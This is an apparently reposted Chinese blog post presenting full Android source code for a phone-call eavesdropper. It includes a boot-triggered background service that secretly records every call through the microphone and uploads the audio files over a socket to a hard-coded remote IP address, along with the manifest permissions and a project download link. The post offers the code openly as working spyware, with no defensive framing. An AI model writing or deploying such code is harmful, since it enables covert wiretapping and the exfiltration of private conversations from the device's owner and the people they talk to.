Quantcast
Channel: CSDN博客推荐文章
Viewing all articles
Browse latest Browse all 35570

Android电话窃听器的实现

$
0
0

PhoneListenService.java

package cn.itcast.phone;

import java.io.File;
import java.io.OutputStream;
import java.io.PushbackInputStream;
import java.io.RandomAccessFile;
import java.net.Socket;

import cn.itcast.utils.StreamTool;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;

public class PhoneListenService extends Service {
	private static final String TAG = "PhoneListenService";

	@Override
	public void onCreate() {
		TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
		telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE);
		Log.i(TAG, "service created");
		super.onCreate();
	}
	
	@Override
	public void onDestroy() {//清空缓存目录下的所有文件
		File[] files = getCacheDir().listFiles();
		if(files!=null){
			for(File f: files){
				f.delete();
			}
		}
		Log.i(TAG, "service destroy");
		super.onDestroy();
	}

	private class TelListener extends PhoneStateListener{
		private MediaRecorder recorder;
		private String mobile;
		private File audioFile;
		private boolean record;
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			try {
				switch (state){
				case TelephonyManager.CALL_STATE_IDLE: /* 无任何状态时 */
					if(record){
						recorder.stop();//停止刻录
						recorder.release();
						record = false;
						new Thread(new UploadTask()).start();
						Log.i(TAG, "start upload file");
					}
					break;
					
				case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起电话时 */
					 Log.i(TAG, "OFFHOOK:"+ mobile);
					 recorder = new MediaRecorder();
					 recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音
					 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式
					 recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式
					 
					 audioFile = new File(getCacheDir(), mobile+"_"+ System.currentTimeMillis()+".3gp");
					 recorder.setOutputFile(audioFile.getAbsolutePath());
					 recorder.prepare();//预期准备
					 recorder.start();   //开始刻录
					 record = true;
					 break;	
					
				case TelephonyManager.CALL_STATE_RINGING: /* 电话进来时 */
					Log.i(TAG, "incomingNumber:"+ incomingNumber);
					mobile = incomingNumber;
					break;
					
				default:
					break;
				}
			} catch (Exception e) {
				Log.e(TAG, e.toString());
			}
			super.onCallStateChanged(state, incomingNumber);
		}
		
		private final class UploadTask implements Runnable{
			@Override
			public void run() {
				try {
					Socket socket = new Socket("220.113.15.71", 7878);
		            OutputStream outStream = socket.getOutputStream();
		            String head = "Content-Length="+ audioFile.length() + ";filename="+ audioFile.getName() + ";sourceid=\r\n";
		            outStream.write(head.getBytes());
		            
		            PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());	
					String response = StreamTool.readLine(inStream);
		            String[] items = response.split(";");
					String position = items[1].substring(items[1].indexOf("=")+1);
					
					RandomAccessFile fileOutStream = new RandomAccessFile(audioFile, "r");
					fileOutStream.seek(Integer.valueOf(position));
					byte[] buffer = new byte[1024];
					int len = -1;
					while( (len = fileOutStream.read(buffer)) != -1){
						outStream.write(buffer, 0, len);
					}
					fileOutStream.close();
					outStream.close();
		            inStream.close();
		            socket.close();
		            audioFile.delete();
		        } catch (Exception e) {                    
		        	Log.e(TAG, e.toString());
		        }
			}
		}
	}
	
	@Override
	public IBinder onBind(Intent intent) {
		// TODO Auto-generated method stub
		return null;
	}

}


BootBroadcastReceiver.java

package cn.itcast.phone;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class BootBroadcastReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Intent service = new Intent(context, PhoneListenService.class);
		context.startService(service);
	}

}


AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="cn.itcast.phone"
      android:versionCode="1"
      android:versionName="1.0">
    <application android:icon="@drawable/icon" android:label="@string/app_name">
		<service android:name=".PhoneListenService" />
		<receiver android:name=".BootBroadcastReceiver">
			<intent-filter>
	         <action android:name="android.intent.action.BOOT_COMPLETED"/>
	       </intent-filter>
		</receiver>
    </application>
    <uses-sdk android:minSdkVersion="7" />
	<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<!-- 访问网络的权限 -->
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

</manifest> 

项目源码下载:http://pan.baidu.com/share/link?shareid=272323&uk=1796216265
 

作者:jaycee110905 发表于2013-2-21 2:13:04 原文链接
阅读:113 评论:0 查看评论

Viewing all articles
Browse latest Browse all 35570

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>